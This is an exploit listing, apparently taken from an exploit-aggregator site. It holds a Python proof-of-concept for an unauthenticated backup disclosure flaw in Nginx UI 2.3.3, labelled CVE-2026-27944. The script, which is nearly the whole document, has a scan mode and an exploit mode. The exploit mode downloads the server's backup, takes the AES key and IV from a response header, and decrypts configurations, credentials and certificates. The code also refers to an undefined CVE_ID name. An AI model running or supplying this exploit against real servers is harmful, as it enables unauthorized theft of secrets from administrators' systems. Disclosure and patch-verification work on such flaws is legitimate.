Share
## https://sploitus.com/exploit?id=PACKETSTORM:216969
=============================================================================================================================================
    | # Title     : Nginx UI 2.3.3 Unauthenticated Backup Disclosure and Decryption                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://nginx.org/                                                                                                          |
    =============================================================================================================================================
    
    [+] Summary    : This Python proof‑of‑concept demonstrates an unauthenticated information disclosure vulnerability in Nginx UI tracked as CVE-2026-27944. 
                     The vulnerability allows a remote attacker to access the /api/backup endpoint without authentication and retrieve a backup archive of the server configuration.
                     The endpoint returns an encrypted backup along with a custom HTTP header (X-Backup-Security) that exposes the AES encryption key and IV encoded in Base64. 
    				 Because the cryptographic material is transmitted directly in the response headers, an attacker can easily download and decrypt the backup file, gaining access to sensitive configuration data.
    
    [+] The provided script supports two modes:
    
    scan – checks if the target server exposes the vulnerable /api/backup endpoint.
    
    exploit – downloads the encrypted backup, extracts the AES key and IV from the header, and decrypts the archive locally.
    
    Successful exploitation may lead to disclosure of Nginx configurations, credentials, certificates, or other sensitive data stored in the backup.
    			  
    [+] POC   : 
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import sys
    import os
    import logging
    import requests
    
    from requests.exceptions import RequestException
    
    logging.basicConfig(
        level=logging.INFO,
        format="%(levelname)s - %(message)s"
    )
    
    log = logging.getLogger(__name__)
    
    try:
        from Crypto.Cipher import AES
        from Crypto.Util.Padding import unpad
        CRYPTO_AVAILABLE = True
    except ImportError:
        CRYPTO_AVAILABLE = False
    
    def normalize_target(target):
    
        if not target.startswith(("http://", "https://")):
            target = "http://" + target
    
        return target.rstrip("/")
    
    
    def create_session(proxy=None, verify=True):
    
        session = requests.Session()
    
        session.headers.update({
            "User-Agent": "Mozilla/5.0 CVE-Scanner"
        })
    
        if proxy:
            session.proxies = {
                "http": proxy,
                "https": proxy
            }
    
        session.verify = verify
    
        return session
    
    def check_vulnerability(session, target, timeout=10):
    
        url = normalize_target(target) + "/api/backup"
    
        try:
    
            r = session.get(
                url,
                stream=True,
                timeout=(5, timeout),
                allow_redirects=False
            )
    
            if r.status_code != 200:
                return False, None, 0
    
            header = r.headers.get("X-Backup-Security")
    
            if not header:
                return False, None, 0
    
            size = int(r.headers.get("Content-Length", 0))
    
            return True, r.headers, size
    
        except RequestException as e:
    
            log.error(f"Connection error: {e}")
    
            return False, None, 0
    
    def download_and_decrypt(session, target, output_file, timeout=30):
    
        if not CRYPTO_AVAILABLE:
            log.error("pycryptodome required")
            sys.exit(1)
    
        url = normalize_target(target) + "/api/backup"
    
        try:
    
            r = session.get(
                url,
                stream=True,
                timeout=(5, timeout)
            )
    
            if r.status_code != 200:
                log.error(f"HTTP {r.status_code}")
                return False
    
            header = r.headers.get("X-Backup-Security")
    
            if not header:
                log.error("Header missing")
                return False
    
            try:
    
                key_b64, iv_b64 = header.split(":")
    
                key = base64.b64decode(key_b64)
                iv = base64.b64decode(iv_b64)
    
            except Exception:
    
                log.error("Invalid security header")
                return False
    
            if len(key) not in (16, 24, 32):
                log.error("Invalid AES key length")
                return False
    
            if len(iv) != 16:
                log.error("Invalid IV length")
                return False
    
            log.info(f"AES key length: {len(key)}")
            log.info(f"IV length: {len(iv)}")
    
            enc_file = output_file + ".enc"
    
            size = 0
    
            with open(enc_file, "wb") as f:
    
                for chunk in r.iter_content(8192):
    
                    if chunk:
    
                        f.write(chunk)
                        size += len(chunk)
    
            log.info(f"Downloaded {size} bytes")
    
            cipher = AES.new(key, AES.MODE_CBC, iv)
    
            with open(enc_file, "rb") as f:
                encrypted = f.read()
    
            try:
    
                decrypted = unpad(
                    cipher.decrypt(encrypted),
                    AES.block_size
                )
    
            except ValueError:
    
                log.warning("Padding failed, raw decrypt")
    
                decrypted = cipher.decrypt(encrypted)
    
            with open(output_file, "wb") as f:
                f.write(decrypted)
    
            os.remove(enc_file)
    
            log.info(f"Saved decrypted backup -> {output_file}")
    
            return True
    
        except RequestException as e:
    
            log.error(f"Network error: {e}")
    
            return False
    
    def main():
    
        parser = argparse.ArgumentParser(
            description=f"{CVE_ID} Scanner"
        )
    
        parser.add_argument(
            "--proxy",
            help="Proxy (ex: http://127.0.0.1:8080)"
        )
    
        parser.add_argument(
            "--no-verify",
            action="store_true",
            help="Disable SSL verification"
        )
    
        sub = parser.add_subparsers(dest="cmd", required=True)
    
        scan = sub.add_parser("scan")
        scan.add_argument("target")
    
        exploit = sub.add_parser("exploit")
        exploit.add_argument("target")
        exploit.add_argument("-o", "--output", default="backup.bin")
    
        args = parser.parse_args()
    
        session = create_session(
            proxy=args.proxy,
            verify=not args.no_verify
        )
    
        if args.cmd == "scan":
    
            log.info(f"Scanning {args.target}")
    
            vuln, headers, size = check_vulnerability(
                session,
                args.target
            )
    
            if vuln:
    
                log.info("Target appears vulnerable")
    
                log.info(f"Backup size: {size}")
    
            else:
    
                log.info("Target not vulnerable")
    
        elif args.cmd == "exploit":
    
            log.info(f"Running exploit against {args.target}")
    
            success = download_and_decrypt(
                session,
                args.target,
                args.output
            )
    
            if success:
    
                log.info("Exploit completed")
    
            else:
    
                log.error("Exploit failed")
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================